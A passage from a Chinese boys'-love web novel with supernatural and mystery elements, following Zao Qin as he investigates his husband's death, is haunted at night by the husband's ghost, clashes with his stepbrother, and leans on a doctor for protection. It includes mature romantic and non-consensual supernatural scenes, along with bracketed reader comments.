抿着唇不说话, 他有点尴尬。 “要不让我亲亲, 哪里都行。” 阮秋白凑近他,嗓音不可控制的低哑, 承诺:“这样你要跟我分, 我肯定怕死了。” 枣芩睫毛翘了翘,看起来依旧是一副傲娇样子, 实际上心中已经开始犹豫起来,有点被对方说动了。 其实他也不是没跟人亲过嘴,如果阮秋白能温柔点,他也没什么损失的。 一定要温柔, 不然他就生气。 “……” 枣芩垂着眼,慢慢面对他。 仿佛是一种提前准备, 阮秋白喉结滑了滑,视线一错不错盯着他的嘴唇。 周身空气却突兀冷了下来,氛围被打破。 枣芩犹如瞬间被冷冰冰的怪物缠住,皮肤都没忍住细细抖了下, 抬眼寻找起风扇, 说:“你家好冷啊。” “冷?”阮秋白看向窗外正午炙烤大地的太阳,将院中的树都晒得有点蔫,叶片卷曲着。 可是他手从枣芩裤腿下面滑进去,触碰到他的肌肤,如从冷水中捞出来的玉, 又凉又滑。 如他所说,他是真觉得有点冷,皮肉都散着凉。 枣芩眼睛睁大,一急,两腿把他的手夹住,“拿出去!” 他却眉头皱起来,另只手去摸枣芩的额头,同样的凉。 异常奇怪的情况。 等他站起身,把枣芩放在椅子上,自己去找温度计回来时,枣芩的温度已经恢复了正常,刚刚的冰凉触感仿佛只是幻觉。 枣芩手里拿着画笔,在摆弄颜料,视线定在空中,似乎在想什么。 他忽然说:“什么情况下人才会突然死去啊?” 阮秋白回答道:“很多。” 有很多的理由。 枣芩听到这个回答,脸上泛起忧虑,小脸皱了皱。 阮秋白站在他身后,盯着画中的两人,又说:“但他身体健康,应该也没有不良嗜好。” 他随后扶了下眼镜框,忽然问:“有没有纵欲过度?” 枣芩没反应过来,表情茫然看着他。 他这幅没听懂的样子,让阮秋白微妙愉悦了下,解释起来,“就是,和你做那种事情,那种进入你身体、” “闭嘴!”枣芩顿时面红耳赤打断他,语气凶巴巴的道:“我懂,不要解释了,不是这个原因。” 而且枣芩不信,有人会做这个死掉,就算做这个死掉,一定也有别的因素加持。 阮秋白:“真的很少?” 枣芩别过脸,声音小的快听不到了,“说了不是这个原因!根本就没有过啊……还问。” “没有过?”阮秋白瞳孔微紧,语气多少带了点逼问,他随手拉了张旁边的椅子。 去看枣芩的反应,语气透着不相信,“你们结婚这么久了,他一次都没有把他的…进你的…?” “都说了没有就是没有啊!你还问!”枣芩听不得这些话,身上都要颤了,他又羞又恼瞪人,真的要生气了。 脑残,听不懂人话。 眼看着他又要说话,枣芩大声制止,“不许再问了!闭上嘴,只能听我说!” 阮秋白哪里还听得进去,他绷着脊背,平静镜片下眼神也尽力维持淡定。 宋呈肯定阳痿,不然他有着枣芩老公的身份,和枣芩同床共枕这些日子,怎么可能忍住,完全没有做过。 枣芩来找他是对的,应该的,完全正确的。 他很茁壮很干净。 阮秋白还想问一些其他的,是不是用别的代替了什么的,可还是没有。要是超过枣芩的阈值,真的不理他就不好了。 他就那么听枣芩认真说,“我觉得,他身上没有伤口,也有可能有但非常小,所以大家都没发现。也可能是毒药呢?” 阮秋白道:“很有可能。” “用毒药的话。”枣芩思索着,什么样的人会身上带着毒药,他说:“应该就是为了杀他才带的毒药,仇杀!” “你有怀疑的人了,是吗?”阮秋白问。 枣芩记得那天,从早上醒来他和宋平就没有分开过,宋平表现得一直也很正常,甚至还跟他说了要去开船返航,当时表情也并不怪异。 枣芩的第一想法就是,“当时船上的人。” 枣芩也不确定,但他觉得是仇杀。 阮秋白答应了他会负责调查那些已经离开的游客,临走前要个吻,枣芩没给,飞快跑掉了。 阮秋白都答应了,他还亲他干什么? 看那些骑驴的,不也钓根胡萝卜,不让驴吃到。 【问什么呢?!麻烦多问点……】 【芩芩好纯洁好诚实啊,脸红红让我舔舔】 枣芩溜回去的时候,饭刚做好。 龙保岐拧眉,不悦的问他去哪了,也不告诉自己。 枣芩瞎说八道说自己看海去了。 宋莲莲笑道:“天天看的东西有什么好看的。” 随后她说:“对了,小枣。” 枣芩咬着筷子:“嗯?怎么了?” “刚刚你哥哥说要回老房子,那边一天两天的收拾不出来。你那边刚好也没有人,自己一个人也空,我就说让你哥哥去你那边住,你觉得呢?”宋莲莲抬下巴示意李聿。 枣芩看了眼李聿,对方垂着眼皮没看他,他迟钝点头,“可以,有空的屋子。” 原本他的那间就空着,也可以住人。 李聿抬眼对他说:“谢谢弟弟。” 吃着饭,宋莲莲忽然靠在椅子上,单手按着太阳穴,嘴唇发白表情难受。 “姨姨?”枣芩坐在她旁边,最先注意到,喊了声。 宋莲莲摆摆手,“没事,你们先吃着。” 她站起身来,往里屋走,“我先去躺躺。” 饭桌上只剩下了三个人,龙保岐见枣芩似乎有点担心的样子,便开口说:“老毛病,没什么大事,就是有时候头疼,要带她去医院也不去。” “还是应该去一下吧。”枣芩道。 龙保岐跟着两人回去,一直待到天有点黑,枣芩想洗澡,催促了他几声才走。 李聿则在他指了屋子进去后,就没有再出来过,也没有跟他说话。 枣芩嘴巴别别,没太在意。 早上龙保岐帮他晒的水现在温度刚好,没有了宋平,也没有人再会帮他把水抬进屋内。 他在原地顿了一会,小步过去,偷偷在窗户上看了一眼。 这里没有桌椅,李聿的笔记本电脑放在一旁的柜子上,侧脸锋利,神色冷淡又专注。 这时候的笔记本电脑还比枣芩上一个副本落后很多,却属于高薪阶层的人才会拥有的。 他或许在处理工作,应该没空出来。 枣芩拿了个小板凳放衣服,以他这辈子最快的速度洗了身体,凉风轻轻一吹,身上都快起鸡皮疙瘩了。 他快速套上宋平给他买的一件有点宽有点长的白t,他怀疑这是宋平给他自己买的,混在一起了。 下身本来不想穿,枣芩抿着唇犹豫了几秒,看着自己的腿,还是穿上条短裤,还能露出一截来,不至于让人怀疑没穿裤子。 一直到接近他睡觉时间,他上炕盖上被子,才反应过来。 ——宋呈把原本那边的被子收起来放到这边柜子里了,那边此时没有被子。 他都已经躺好了,懒懒的不太想起来,想着要是等会李聿过来和他要,他就告诉他在哪个位置,然后让他自己拿过去。 可枣芩趴在枕头上,等得眼皮都要打架了,对方都没有来。 他怀疑李聿有可能不好意思,纠结又纠结,还是爬起来,从柜子里面翻出被子,抱着走过去。 手抱着被子敲不了门,枣芩犹豫到底叫他的名字,还是哥哥? 最后枣芩喊了声:“哥。” 比哥哥好多了,既不过分亲近也不像叫名字那么疏远。 里面的人没听到似的,他站得腿累,又喊:“哥——!” 门这时候才终于缓缓开了。 李聿面无表情的冷肃面容,让枣芩有点无措,还以为他是生气自己打扰他了,抬抬自己怀里的被子。 “我来给你被子。” “……” 对方接过被子,都没有让枣芩进去,也没有说谢谢,甚至连个笑容都没有,眉峰微不可察蹙了秒。 枣芩人都傻了,小脸呆滞。 宋平的家就是他的家,这人现在住他家,居然用这种恶劣态度对他。 明明在龙保岐家里的时候挺正常的,原来都是虚假的伪装。 早知道不给他送了。 枣芩愤愤回去,在炕上骑着自己的被子揍了两拳,好想过去说他不讲礼貌,但是他不敢。 现在没有人,他怕李聿打他…… 李聿当然不会打他,他伫立在炕前,此时像看什么脏东西,看着被他放在炕上的花被子。 在他伸手从枣芩手中接过被子,第一下的时候,他不小心把枣芩的T恤布料也扯住了,把枣芩本就宽阔领口又往下扯了一块。 李聿当下,眉头轻皱,立即调整右手,松开了他的衣服。 可是在那一瞬间他还是看到了,枣芩锁骨下方几厘米的位置,柔嫩皮肤上的条状红痕,很显眼。 他丈夫刚死,他就带着年轻力壮的黑皮表弟登堂入室,还大胆的留下了痕迹。 李聿头脑精明,无论在任何事情上都有信心做到优秀,包括在分析心理活动这方面。 也难怪,枣芩会同意自己住进他家。 黑色柔软的发丝还没干透,明显洗过澡,浑身还冒着湿气,就抱着被子,嘴里甜甜喊着“哥”上门。 如果不是早就熟知他的恶劣性格,如果是别人,真的会被他乖兔子的伪装唬住。 他知道对方无非就是为了两点。 枣芩想让自己带他走,或者,那些不可明说的黏腻心思,落到了自己身上。 更或者,两者都有。 枣芩不知道自己什么时候睡着的,他的身体上面好像压了什么东西,控制着他,让他连指尖都动弹不得。 今天中午那种相同的凉意从他的脚下,一路覆着身体狎昵攀上来,某些地方多停留了一会,最后停在了小巧的耳垂。 湿冷冷的,被含住了。 略带着迷恋和怒气,那截洁白耳垂反复被人吮吸舔舐,留下潮湿的咬痕。 明明只是一截耳垂而已,却仿佛下一秒就把枣芩吃了一样,把耳垂弄得通红,不堪承受。 祂依依不舍往下到温热脖颈,开始质问。 ——你和他是什么时候开始的? 他得不到回答。 ——我也很吃醋,你们说那些…… 停顿一会。 ——想要你 枣芩眼睛闭着,呼吸稍快。他很想清醒过来,可是怎么也做不到,意识游离在现实与虚妄,无法彻底睡去也无法醒来。 感受着湿冷滑过脸颊,终于落到唇上,对方在颤抖,不知道是紧张还是激动。含住他饱满的下唇肉,嘴唇贴嘴唇抵着磨了好几下。 他似乎有自己的进度,随后啜着枣芩小小的唇珠,弄到熟的开了唇,才勾着舌头,去舔他里面的软肉。 痴迷又狼狈。 安静屋内响起啧啧水声,以及正常人听不到的,一个男人不入流的声音。 枣芩第一次被吻这么长时间,这么彻底,他声音极小的呜咽起来,连一句不要都说不出来。 亲完,就到下一步了。 对方往下去了。 【枣芩!别睡了!】 【快点醒过来!】系统声音迫切喊着。 枣芩也想醒,他用尽全力去对抗身上那已经减弱的力量,在系统的呼喊中,艰难清醒过来。 濡湿的眼睫没有像他想的一样猛的睁开,而是慢悠悠的。 他面前的黑暗是空洞的,什么也没有。 枣芩的身体从酥麻中回过劲来,第一个想法是 ——有鬼! 身上粘湿的冷汗一瞬间更冷,浸透进皮肉里。 他跌跌撞撞下了炕,裤子好好穿在身上,步子间却感受到,湿润。 “哥!开门。”里面被锁上了,枣芩推了几下也没推开,他脊背发寒,慢吞吞把背抵在坚硬门板上。 试图叫醒对方。 寂静黑夜中,他都有点被自己的声音吓到。 第36章 第 36 章 抱着睡 白日静谧的小院, 在夜里每一个角落都仿佛潜藏着危机,海知了的嘶哑叫声刺痛耳膜,仿佛濒临死亡。 毛骨悚然的感觉攀爬着枣芩的脊背。 他咬住自己的唇肉, 颤巍巍地喘气, 裤子里怪异的感觉让他腿肚子打颤, 惊慌喊着唯一能求助的人, “哥哥!” “别叫。”一声突兀出现,如同夜里凉风, 薄凉的声音。 不知道什么时候靠近, 从门缝透出来,却并没给他开门的意思。 枣芩先是被忽然出现的声音吓了一跳, 随后立马像是抓住了救命稻草,睁大眼睛,转过身在门上拍打两下,不顾手心泛起细疼。 因为他感觉到, 哪怕是隔着一道门,瞬间周身的冷意因为对方的存在, 驱散许多。 这东西好像只能靠近得了他。 枣芩难免对李聿产生了依赖感,他迫不及待想进去,逃离那不知是什么东西的阴冷存在。 “哥,我那边有、有奇怪的东西, 我害怕。” 语气急切又带点委屈, 像是被欺负之后找家长告状,任谁听了都会心软,可李聿静默。 长久的不开门,枣芩似乎察觉了什么,他无端心慌, 不禁又气又急,“你先让我进去嘛。” 李聿伫立在门内,他能清晰感觉到隔着门,枣芩就在他面前的位置,像是真的很害怕,想进来找他。 原来这就是枣芩勾搭男人的手段。 进来之后呢? 下一步是不是就是觉得热要脱衣服了? 李聿嗓音压抑着,“你把我当什么人了?还是觉得我很大度。” “……” 他想的没错,果然对他有了心思。他回来的第一天,本性恶劣从没对他有过好脸色的弟弟,要勾他。 李聿很难说清自己是什么情绪,他好像被分裂成了两个自己。 一个想着只需要开门一个动作,让他进来又怎么样?他说不定是真的害怕,需要哥哥安慰。 一个警惕的对抗,千万不能把他放进来,会发生不能控制的事情。 他神色未动,指尖刺进手心,一阵细密轻微的痛感让他清醒。 透过门缝,男人声音愈来愈远, “随便你和谁……别来找我。” 脚步声离远,那种冷意再次像是没了忌惮而靠近,慢悠悠自身后靠近。 【泥爹的。】 【死人,你死了,我要杀了你】 【宝宝让我抱抱,为什么不让他进去啊】 枣芩心都凉了半截,他是有想过再求求的。可他一直无意识悬在腿侧的手,轻轻的,被人像是爱侣般亲昵圈住。 好像在说,看吧,你还是逃不开我。 枣芩浑身一僵,另一只手不敢置信去摸,明明借着月光他手上什么都没有,他却真的摸到了一只冰凉的大手,骨骼感清晰起伏,像是死人的手。 他心里的声音都是磕磕巴巴的,【系统……真的、有鬼啊!】 枣芩眼眶蓄着的一包水溢了出来,从眼眶滑落到脸颊,再滴落,被看不到的祂接住。 男人已经死去的心脏隐隐抽动。 枣芩反应过来就手忙脚乱开了门,头也不回的跑了。 半夜三更,急促的阵阵敲门声响起。 阮秋白先将院中的灯随手打开,才去开了门。 门开的瞬间,一张被灯光照着雪白的脸一闪而过。阮秋白在那一秒看到他浅色瞳孔中似乎闪烁着水光,抿成白线的嘴唇。 他被软香扑了个满怀,枣芩在他怀中细细颤抖,连话都说不出来,手臂抱住他的腰。他腰腹受宠若惊的绷紧。 阮秋白没想到枣芩会大半夜来找他,还以这样一副惊慌失措的姿态,这显然非常不对劲。 他压下自己怪异的悸动,拧眉去看枣芩的脸,湿淋淋的泪眼,他呼吸猛顿问:“发生了什么?” 枣芩抱着他的腰在缓。 在他抱住阮秋白的那瞬间,阴森森、让人控制不住想躲的冷就消失了,只有在他一个人的时候才会出现欺负他。 枣芩被阮秋白抱着一抬,正面挂在男人身上。阮秋白单手托着他的屁股进了屋。 他手臂继而自然圈住阮秋白的脖子。小脸苍白,垂着睫毛,视线有点不聚焦。 “发生了什么?愿意告诉我吗?”阮秋白温柔拂去他眼底的一点湿。 他身体的温热回温了枣芩,他没戴眼镜,枣芩对上一双盈着担忧的眼睛。他看着阮秋白,瞬间仿佛有千万种委屈涌上心头。 “有鬼。”枣芩弱弱说,是阮秋白从没见过的可怜模样,“前一天就有了,压在我身上动也动不了,但当时我以为是噩梦。好冷,他想吃了我,我醒也醒不来。” 他瘪着嘴巴,眼底不由得又湿了,“我好怕。” 他的话语序有些混乱,阮秋白还是听懂了。他眼中晦暗看向漆黑窗外,拍着枣芩的背,“现在还在吗?” 枣芩抬头整个看了眼屋子,他摇摇头,自暴自弃把脸埋在阮秋白肩膀处,“我不知道。” “不怕。”阮秋白听到他所说的一切,灵异神怪,也并没有像普通人一样质疑或者害怕。 他面色平静让枣芩的恐惧也跟着消解,原本压在下面的其他情绪涌上来,他感觉自己今天受了天大的委屈。 “你知道吗?我有个哥哥,他今天回来就住在我那里,也不跟我说话。” 他耸耸鼻尖,接着抱怨,“我真的好害怕,我去敲门,他都不给我开门让我去别的地方。那明明是我的家!” 阮秋白搂着他柔软的身体,他白瘦而不柴,露出的所有皮肉都透出一股诱人的香气。 但他自己又好像浑不知觉,一种迟钝的欲。 “想到来找我,怎么这么棒。” 枣芩舔舔唇,其实不是,他是想去龙保岐他家的来着,但是他家要远一点。 “嗯……” 枣芩被阮秋白抱进被子里,本就是被弄醒的,不是自然醒。 在温暖安全的环境下,倦意袭来,就那么在阮秋白清冷气息的怀中,盖着他的被子睡着了。 灯没关。 阮秋白看着枣芩熟睡的脸,心脏仿佛在温水里跳动,他把被子往上扯了扯。 枣芩或许没注意到,现在屋内的气温还是低于这个天气正常气温,哪怕他盖着被子也不冷不热。 此时门口,说不定还有个鬼,正气愤不堪的趴在门口,瞳孔赤红,后悔把自己老婆逼到这份上。 隔天,枣芩和阮秋白一起回去找衣服,经了昨晚的事,他哪里还敢一个人住。 阮秋白本来就答应帮他找凶手,住在一起还能更好的帮他。 占点便宜怎么了? 刚巧遇到宋莲莲说今天去饭馆吃饭,枣芩干脆决定吃完饭再过去拿。 他跟在阮秋白身后,眼看到了饭馆,才把手从阮秋白手中挣出来。 一踏进门,迎面就就是很不想看到的人——李聿。 他明明气质冷冽,脸上却挂着与自身气质不符合的微笑,正在跟老板说着什么。 枣芩面无表情错开他,当做没看到,嘴巴不悦抿着,朝最远的桌子走。 阮秋白察觉他的表情,淡淡瞥了眼,“你哥?” 枣芩闷闷:“嗯。” 阮秋白骨节分明的手轻抚过枣芩腰背,不经意在男人看过来时搂了下,“昨晚睡的好吗?我醒来的时候胳膊都麻了。” 枣芩听到这话,脸迅速晕开淡粉。 昨晚的一切都很不真实,他醒来发现自己枕着阮秋白的手臂,腰也被人抱着,就跟一个酒醉后不知道自己干了什么的醉鬼。 阮秋白还满脸的调笑,张开手臂问他要不要再睡会,好像他们真的做了什么似的。 枣芩躲了躲,雪白耳朵尖都通红一片,理直气壮道:“我又没有不让你拿开,是你自己找罪受啊。” “对,是我不舍得拿开,想抱着你。”阮秋白轻声,又说起了莫名其妙的话。 枣芩侧过脸,阮秋白就这点不好,老是说一些让他很尴尬的话。他余光看见李聿看了他一眼,不过很快扭过了头。 龙保岐和宋莲莲来的时候,就见兄弟俩分了两个桌子,各坐各的,都看不出来是一家人。 而枣芩那边居然还有一个不该出现的阮秋白,两人都顿了顿。 宋莲莲招呼李聿坐到枣芩他们那桌,五个人坐下来,就见他儿子目光阴恻恻盯着枣芩和阮秋白,探究似的在枣芩身上找什么东西,蓦然冷冷“呵”了声。 这顿饭安静的过分,空气仿佛变成了一根被拉紧的弦。 饭馆老板是个中年女人,也是岛上信息八卦的集中点。 她难得见到宋莲莲,拉了张椅子坐下,对宋莲莲客套说:“哎呀,一天天不见你人,现在你头还疼不?” 原本表情轻松的宋莲莲面容倏然变得僵硬,露出个笑,“还行,老样子呗。” “也没办法是不是。” 老板叹了口气,似乎想到了以前的事情,开始安慰她,“哎,天灾、比人祸强多了,是不?还好你没出事,看把小龙养这大。” 话题一下被扯远,老板目光到了身形高大的龙保岐身上,眼睛一亮,“有没有喜欢的?姨给你介绍?” 龙保岐不说话,薄薄的单眼皮掀着,盯着枣芩往嘴里送东西,仿佛是把枣芩吃进去了,对面的枣芩被搞得一脸无辜。 老板被冷了场,尴尬的笑了两声。她就是想说说话,真服了这对母子了。 枣芩咽下口中的食物,抬手指指别桌顾客,“姨,好像有人叫你呢。” 老板转头看了眼,忙朝另一桌走去,也不顾到底是不是真有人叫了。 枣芩找了纸巾擦了擦嘴唇,侧着身子凑到阮秋白耳边,手挡住自己的口型,小声说了什么。 阮秋白点头后就起身离开了。 也没花太久的时间,在枣芩被龙保岐看的有点坐立难安之际,阮秋白终于回来坐下道:“我已经结账了。” 宋莲莲错愕看着他,侧头看了眼李聿。 阮秋白温润微笑,一副好后辈的模样,“早想请您吃饭了,一直没有这个机会。” 一旁的枣芩期待的盯着他,手在桌子下面拽他的手指,被阮秋白握住。 吃完饭,枣芩迫不及待借着回去拿东西的借口,提前和阮秋白出去,忙不迭问:“怎么样?老板是怎么说的?” 阮秋白:“或许被你猜对了。” “哎呀,你快点说嘛。”枣芩有点急了,眉头微蹙,撒娇似的。 枣芩所有注意力都在他身上的模样,让阮秋白忍不住头皮发麻。 他不急不缓:“宋莲莲和宋平的母亲宋珍珍是姐妹,她们都是岛上的原住民。” 枣芩:“……”?然后呢 “你们还小的时候,十年前,龙保岐的父亲死在宋平家门口的山坡下。” 第37章 第 37 章 不许这么说 枣芩眼睛都瞪圆了, “是人为吗?” “不是,那天饭馆老板亲眼看到,宋莲莲头上都是血, 大半夜雨天, 背着她丈夫求救, 但人已经死了, 后脑勺破了个洞。” 阮秋白眉头轻皱,接着说:“有人问起是怎么回事, 她的解释是她跟她丈夫, 一起去姐姐家里借东西,雨天失足掉下去了山坡。埋她丈夫的时候, 宋平父母还出钱帮衬过。” “之后她一个人抚养龙保岐长大,也落了个头疼的毛病。” 枣芩无意识磨着唇瓣,磨得发白,他有点疑惑, “大晚上借什么东西?” 他小声嘟囔:“好奇怪。” 但是如果不是那样,宋莲莲又为什么不说真话, 很可疑。 而且宋平在船上倒下的那天,龙保岐也在场。 枣芩感觉自己更迷糊了,他暂且先把宋莲莲和龙保岐放进怀疑的人里,虽然他并不相信他们会杀宋平。 在他看来, 两人对宋平的态度都还不错。 阮秋白眼镜折射着白光, 看向枣芩显得有几分晦暗,他下半张脸长相温和,“那你在家有发觉宋平有什么不对劲的地方吗?” 枣芩认真回想自己和宋平相处的点滴,睫毛垂下来,摇摇头, 抬眼看阮秋白,忽然道:“他睡觉要摸我手,算吗?” …… 枣芩抬头对上阮秋白微怔的目光,也跟着愣住,随即瞬间有些窘迫,他在说什么啊?? 白皙脸蛋沁出粉,他还想说什么欲言又止,干脆自暴自弃快走起来,把阮秋白甩在身后。 走进屋子时枣芩还有点怵,没忍住退后两步,后背抵在阮秋白的胸口,被人从后面揉揉肩膀,“衣服在哪里,我帮你找。” 枣芩摇摇头拒绝了,“我自己可以。” 他从柜子里找出一个绿色的袋子,应该是买东西给的,他撑开放在桌子上,不知道自己的衣服被宋平放在哪里了,随便打开一个柜子并没有。 身后传来响动。 他回头便见到一副剑拔弩张的画面,两个高大男人挡在门口,李聿似乎想要进来,被阮秋白手臂随便一抬挡住。 枣芩茫然眨了眨眼睛,不知道李聿为什么过来。 李聿深黑眉眼压着,像是积了许久的乌云,不知道暴风雨什么会来,让人紧张。 他语气并不好,盯着枣芩撑起的绿袋子,语气带几分质问,“你在收拾东西?” 如果好好说话,枣芩说不定还能回答他,可李聿依旧对他态度很坏、很没礼貌。 枣芩板着小脸收回视线,一句话都不想和李聿说。 “他要和我住了。”阮秋白嘴角勾着一抹笑,态度称得上谦和有礼。 李聿却只从他的笑中,看出来得意洋洋的炫耀意味。 他舌尖抵了下尖牙,只要一想到枣芩会和这男人住在一起,就感到胸腔窒闷,连呼吸都掺着燥意。 就如同早上,他看到饭馆门外一起到来的两人,以及那两只牵着又松开的手。 他不用多想,就知道枣芩昨晚去哪里了。 李聿下颚紧绷,装得面无表情漫不经心,说:“随便你。你的衣服我给你放那边去了。” “?”枣芩没好气觑了他眼。 怪不得没找到自己的衣服放在哪里,这人无语死了,干嘛乱放别人的衣服。 枣芩单手抖抖袋子,白皙手指勾着轻飘飘的绿袋子,朝门外走去,在李聿转身朝那边走时,他拽了拽阮秋白的袖子,示意他低一点身子。 枣芩凑在他耳边说:“把零食也带上,在柜子的抽屉里,我们两个吃。” 一副怕被李聿偷吃似的模样。 阮秋白轻笑声,无奈接过绿色袋子,说了声“好”,帮他去收零食。 一进门,枣芩就近推开第一个衣柜,没有他的衣服,他因为昨晚的事语气不耐,“你把我衣服藏哪了?” 身后传来门锁开合的声响,“咔嗒”一声。 枣芩扭头去看,就见门被反锁,李聿黑着张深邃的脸,朝他看过来。 枣芩忽然感觉不妙,他慢慢走了几步,想去开锁,手还没放到锁上,他的细白腕骨被一只覆盖着薄茧的大手桎梏。 他试着挣脱,发现根本做不到。 …… 屋内空气中漂浮的尘埃都静了静。 “哥、你怎么了?”枣芩声音很轻,带着掩饰不太好的颤音。 刚刚还凶巴巴的瞪人,只转眼的功夫,吓唬一下,就软声软气的叫哥。 欺软怕硬的坏家伙。 肩宽腿长极具压迫感的身体欺身过去,枣芩只能不停小步后退,一直到脚跟抵住了柜底,屁股坐在了中间的隔板上。 窄小的空间堪堪够枣芩坐进去,李聿就挡在他面前,还握着他一只手,遮住大部分光线,整张脸陷在阴影中。 他轻笑了声,颇带着几分咬牙切齿,“就因为昨晚没让你进来,就要搬去那个男人那里。你没忘你老公刚死吧。” 枣芩嘴唇抿了下,站起来想要走,距离瞬间被拉近,他逃避般说:“我找衣服……” 男人大手在枣芩的柔软的肚皮上一推,都没费什么力气,更多的是枣芩的心理原因,枣芩就又坐了回去。他手指攥住自己的衣服布料。 “不那么说怎么把你骗过来?”李聿冷声问。 李聿在外人面前都装得一副好脾气,哪怕是昨天和枣芩独处,也是不理他,并没有像现在一样这么恶劣看着他。 把他堵在柜子里,不让他走。 枣芩有点怕了,他朝门的位置看了眼,可他坐在柜子里连门都看不到。 他好想叫阮秋白过来救他,但门被锁着,阮秋白进来之前足够李聿提着他的屁股、打他一顿了。 李聿因为他看门的动作,眼中毫不遮掩,希望阮秋白找过来的意思,眉头瞬间又皱起。 明明平时也不是什么管不好自己情绪的人,此时被火上浇油般,忽然不受控制问:“想让你的新男人过来保护你?” “我没同意,你就一晚上都不歇,立马就去找他了。弟弟,饥渴到这种地步?” 枣芩愣愣,淡粉色的唇微张。 “以前你只觉得臭脾气,欺软怕硬,被宠成废物了。现在又加了一个,很浪。” 一个一个尖锐的字眼从牙缝挤出来。 李聿分不清这种酸不拉几的怒意到底是什么。 是从小在这个人身上受的屈辱被重新翻出来,还是在他从别人口中得知他和医生的暧昧关系,又或者是明白他来找自己,是他面对男人的惯性。 不管是什么,他此时都因为自己从没说出口过的尖酸言语,以及柜子里,枣芩忽然泛起红的眼周皮肤,愣在了原地。 枣芩纤薄眼皮打着颤,咬着自己的下唇肉,低下了逐渐湿红的脸。 被人堵在柜子里造谣,“饥渴”“浪”这种词,受了委屈不敢大声反驳,声音有点气闷,“你不许这么说我……” 李聿呼吸一窒,搭在柜门的手指抽了抽。 锁上的门被推了几下,没有推开。 属于阮秋白的微凉嗓音自门外响起,“不开门我会自己弄开。” 枣芩抬起脸,立马看过去。 下眼皮一滴晶莹的泪水摇摇欲坠,那瞬间掉了下来,他一直极力维持平静的脸,露出了个被欺负的可怜表情。 枣芩立马就不顾一切,又要起身想要过去。李聿再次将他拦住,看着他的脸莫名慌乱起来,“哭什么。” 枣芩却不理他,在他怀里挣扎,一秒都不愿意在他怀里待。 他一放手,枣芩就冲过去开门。 像是从恶龙身边逃脱,到了王子的身边。 门一开,他就扑进了阮秋白怀里。 斯文男人搂着他的身体,皱着眉阴冷的视线在李聿身上停留几秒,就立即去看枣芩。 不知道到底在这几分钟的时间受了什么委屈,枣芩整张脸红粉一片,眼底湿着,胸脯紧紧贴在阮秋白身上。 几乎是种全身心的依赖,而这种依赖足以让感受的人心脏失控。 阮秋白喉头哽着,一只手就捧住枣芩半张脸,擦去他眼尾的湿。 枣芩含含糊糊说:“他想打死我。” 【宝宝?我是不是没看到什么】 【说出这种话跟打人有什么区别!】 【我真忍不了,能让宋平回来,让他死吗?】 【你完了你完了,敢这么说我宝浪的人,跪着舔都没有你的份了……】 枣芩在心中狠狠的给李聿记上了很多笔,他真的很生气、也很害怕。 被堵在面前,他有那么几刻,真的感觉对面的人要把他塞进柜子里了。 “李聿。”说话的是阮秋白,光看李聿那丢了魂一样的表情,就知道肯定没像枣芩说的那样。 他并不隐晦的警告道:“你不想回去时,在大陆的东西什么都没了,只能灰溜溜的滚回来,就管好你自己的嘴。” 李聿眼皮都没有动一下,“你倒是让他正大光明搬过去,到时候一走了之。他是这里长大的,亲戚也不少,你有想过别人怎么看他?怎么看我们的父母吗?” 阮秋白:“我不会一走了之。” “那他永远不回自己的家乡了。你不在意别人的目光,所有人都不在意么?” 李聿吐出两个字,“自私。” 枣芩也不知道最后怎么搞的。他没有搬过去,反倒是阮秋白说每天夜里会过来陪他。 经这么一场,枣芩耗费了很多精力。 身上渗出层汗,黏糊糊覆在身上,再加上本来就天热,枣芩扯扯身上的衣服,躺在凉席上。 阮秋白已经招呼李聿去给他烧热水了,李聿也不知道怎么想的,前一秒疯狗一样对着他说难听话,居然真的去给他烧水了,简直让人诧异。 枣芩半闭着眼,有点想睡觉,他自言自语小声,“天气又热了。” 话语落下没多久,周身的空气以枣芩察觉不到的速度缓缓变凉,一直到一个他觉得舒服的温度。 第38章 第 38 章 愿意当小四 枣芩也不敢直接用冷水洗澡, 烧好的热水掺了冷水,调节成一个合适的温度,两大盆摆在屋内。 他关好门, 把床帘拉严实, 才小心翼翼脱下身上的衣服, 叠好后放在一旁的桌子上。 葱白手指带起水往胸口淋, 通体的粉白像是泼进人眼中的牛乳,落了几片花瓣。 露水顺着身体起伏往下淌, 屋内并不明亮的光线, 在水色中倒影。 那冷意控制不住的想要靠近,又被克制。 宋平刚死的那段时间, 意识一片混乱、记忆模糊。祂无法控制自己身上弥漫四散的鬼气,又本能的靠近枣芩,质问他。 而逐渐清明之后,宋平知道自己的靠近会让他不适, 会让他向别人寻求庇护,就不敢再靠近他了。 只远远停留在不被老婆注意的角落。 门忽然被轻轻敲了两下, 枣芩眼皮颤颤看过去,心有点慌。 听到是阮秋白的声音心才安下来。 他声音温和,“有个小孩来找我,说朋友晕倒已经送到我那里了, 我先过去看看, 你把门锁好。” 阮秋白要离开。 枣芩呼吸都乱了,他可不敢和李聿单独待在一个地方,就算锁了门,万一、李聿把窗户给砸了怎么办。 他连忙喊:“不要!你等等我,我马上洗好, 我们一起去。” 语气透出一刻都不能分离的依赖与慌张,让阮秋白都微顿,他转身靠在门边,对里面的枣芩说:“好,等着你。” 看到隔壁走出来的李聿,阮秋白眉毛微挑,还饶有闲心对他露出个笑容,扯着一边的嘴角,总之不算友善。 身后传来响动,门被打开,枣芩就这么水灵灵出现在他面前。 身上的水迹还残留不少,因为仓促并没有擦干,锁骨边缘一滴水珠划过,在白色的衣服布料上洇出湿痕。 他拉起阮秋白的手就走,语气有点急,“快点走呀。” 看都没看一旁站着的另一个大活人,完完全全把人忽视了。李聿眉心狠狠跳了跳。 门外有一个看起来都没龙保岐大的少年等着,他额头渗着层汗,看到枣芩的时候明显怔了下,两人都走出两三米,才忙不迭跟上。 路上,阮秋白随口问他:“你朋友平时身体怎么样?” 男生挠挠头,赶忙收回在枣芩身上的视线,磕磕巴巴的说:“身体很好啊,今天他跟我说着话,说要去找……反正就忽然倒下了。” 枣芩听到他的描述,嘴唇抿了下,有那么一瞬间他想到宋平,脚步都加快了几分。 刚进门,就看到病床上躺着一个胳膊长腿长的高大男生,身体在病床上都伸展不开。 叫他们来的男生立马过去,拍了拍自己朋友结实的手臂,低声说了句:“来了。” 男生头一抬,看到来人,嘴唇张了张。又像是虚弱至极,连坐起来的力气都没有,倒了回去。 “小龙?”枣芩眼睛不敢置信睁圆,没想到这个男生的朋友会是龙保岐。 早上吃饭的时候人还好好的,不过转眼的功夫,他已经躺在病床上,满脸汗涔涔,嘴唇虚白。 更夸张的,他垂在床沿的手缓缓抬起来,极其艰难似的,顿了好几下,轻飘飘的喊了声,“枣芩、” 看起来简直跟快死了一样。 